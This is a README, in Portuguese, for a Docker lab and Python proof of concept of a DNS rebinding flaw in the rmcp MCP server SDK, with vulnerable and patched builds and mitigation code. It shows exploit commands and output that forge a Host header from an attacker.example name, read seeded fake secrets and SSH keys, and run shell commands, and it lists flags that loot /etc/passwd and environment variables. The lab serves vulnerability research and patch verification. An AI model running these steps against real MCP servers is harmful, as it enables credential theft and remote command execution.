
Laboratório Docker e prova de conceito em Python demonstrando rebinding de DNS via cabeçalho Host não validado no transporte HTTP Streamable do servidor rmcp (CVE-2026-42559). Inclui builds vulneráveis e corrigidos para testes.
| Afetado | rmcp — o SDK Rust oficial para o Model Context Protocol — < 1.4.0 |
| Corrigido em | 1.4.0 (2026-04-10) |
| CWE | CWE-346 (Erro de Validação de Origem), CWE-350 |
| CVSS 3.1 | 8.8 Alta — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
O transporte de servidor HTTP Streamable no rmcp < 1.4.0 nunca inspecionou o
cabeçalho Host de entrada. Os servidores MCP estão normalmente vinculados ao
loopback e são protegidos apenas pela política de mesma origem do navegador —
que o rebind de DNS anula:
http://evil.example, servido com um TTL de DNS de 1 segundo.evil.example → 127.0.0.1.fetch("http://evil.example:8000/mcp", …). O pedido chega
ao servidor MCP local da vítima, mas o navegador ainda o trata como
mesma origem — sem preflight CORS, e o JavaScript consegue ler todas as respostas.A única coisa que separa esse pedido de um legítimo é o cabeçalho Host:
evil.example:8000 em vez de 127.0.0.1:8000. Sem validação, a página do
atacante obtém uma sessão MCP completa e pode enumerar e chamar todas as ferramentas
que o servidor expõe — leitura de ficheiros, escrita, execução de shell, tudo o que
o assistente estava configurado para fazer.
O 1.4.0 adicionou StreamableHttpServerConfig::allowed_hosts, com padrão
["localhost", "127.0.0.1", "::1"], e uma barreira validate_dns_rebinding_headers()
no topo do manipulador de pedidos que responde 403 Forbidden caso contrário.
.
├── docker-compose.yml # dois serviços, mesma fonte, versão diferente do rmcp
├── mcp-server/ # um servidor MCP realista de "assistente de desenvolvimento"
│ ├── Cargo.toml
│ ├── Dockerfile # o argumento de build RMCP_VERSION fixa a crate
│ └── src/main.rs
└── exploit/
└── exploit.py # PoC, Python 3.9+, sem dependências
Ambos os contentores compilam o mesmo src/main.rs com a mesma configuração de servidor.
A única diferença é a versão da crate fixada, portanto a mudança de comportamento vem
inteiramente da biblioteca:
| Serviço | Porta | rmcp | Esperado |
|---|---|---|---|
vulnerable | 127.0.0.1:8000 | 1.3.0 | Host forjado aceite → comprometimento total |
patched | 127.0.0.1:8001 | 1.4.0 | Host forjado → 403 Forbidden |
O servidor expõe whoami, read_file e run_command, e a imagem está
semeada com credenciais falsas em /home/dev/project/.env e
/home/dev/.ssh/id_ed25519 para que o exploit tenha algo para roubar.
docker compose up -d --build
Explorar a build vulnerável:
python3 exploit/exploit.py --target 127.0.0.1:8000
CVE-2026-42559 :: rmcp Streamable HTTP -- o cabeçalho Host não é validado
target http://127.0.0.1:8000/mcp
Host legítimo 127.0.0.1:8000
Host de rebind mcp-rebind.attacker.example:8000
[*] passo 0: handshake de base com o cabeçalho Host legítimo
[+] 200 OK -- o servidor está ativo: rmcp 1.3.0
[*] passo 1: repetir o pedido pós-rebind (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- o cabeçalho Host forjado foi aceite: VULNERÁVEL à CVE-2026-42559
[+] sessão aberta a partir de uma origem estrangeira: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
[*] passo 2: enumerar as ferramentas agora expostas à página do atacante
- read_file Ler um ficheiro da estação de trabalho
- run_command Executar um comando de shell na estação de trabalho
- whoami Descrever a estação de trabalho onde este assistente é executado
[*] passo 3: invocar ferramentas como se a página do atacante fosse um cliente MCP local
tools/call whoami
| user=unknown host=35b31d892a7a pid=1
tools/call read_file path=/home/dev/project/.env
| STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
| DATABASE_URL=postgres://app:[email protected]:5432/app
tools/call read_file path=/home/dev/.ssh/id_ed25519
| -----BEGIN OPENSSH PRIVATE KEY-----
| FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
| -----END OPENSSH PRIVATE KEY-----
tools/call run_command command='id; uname -a'
| uid=1000(dev) gid=1000(dev) groups=1000(dev)
| Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux
[!] leitura arbitrária e execução de comandos no host da vítima, a partir de uma página web
Depois a build corrigida, para confirmar a correção:
python3 exploit/exploit.py --target 127.0.0.1:8001
[*] passo 0: handshake de base com o cabeçalho Host legítimo
[+] 200 OK -- o servidor está ativo: rmcp 1.4.0
[*] passo 1: repetir o pedido pós-rebind (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Proibido: o cabeçalho Host não é permitido
[+] NÃO VULNERÁVEL: esta build valida o cabeçalho Host (rmcp >= 1.4.0)
O código de saída é 1 quando o alvo é vulnerável e 0 quando não é, portanto o
script integra-se diretamente em CI.
Flags úteis:
python3 exploit/exploit.py \
--target 127.0.0.1:8000 \
--rebind-host wallet.attacker.example \
--loot /etc/passwd \
--command 'cat /proc/self/environ | tr "\0" "\n"'
Encerrar com docker compose down.
O exploit abre uma ligação TCP ao alvo e escreve um
cabeçalho Host controlado pelo atacante (http.client.putrequest(..., skip_host=True)).
Esse é, byte por byte, o pedido que um navegador com rebind emite — o rebind de DNS é
apenas o mecanismo que faz um navegador enviar um Host estrangeiro a um socket de
loopback. Reproduzi-lo desta forma mantém o laboratório em dois contentores e sem
infraestrutura de DNS, enquanto testa exatamente o caminho de código sobre o qual a CVE trata.
// 1. Atualize.
// rmcp = "1.4" (ou posterior)
// 2. Apenas loopback é o padrão a partir de 1.4.0 — nada a fazer
// para um servidor vinculado localmente.
let config = StreamableHttpServerConfig::default();
// 3. Para uma implementação pública genuína, coloque na lista de permitidos os seus próprios nomes.
let config = StreamableHttpServerConfig::default()
.with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);
Se não conseguir atualizar, termine o endpoint MCP atrás de um proxy reverso que
rejeite valores de Host desconhecidos, e não vincule o servidor a 0.0.0.0 sem
um. disable_allowed_hosts() existe, mas reintroduz exatamente este bug.
Tudo aqui é intencionalmente vulnerável e existe para investigação e educação. Os contentores expõem uma ferramenta de execução de shell por design — execute o laboratório apenas numa máquina que lhe pertença, e nunca aponte o exploit a um host que não esteja autorizado a testar.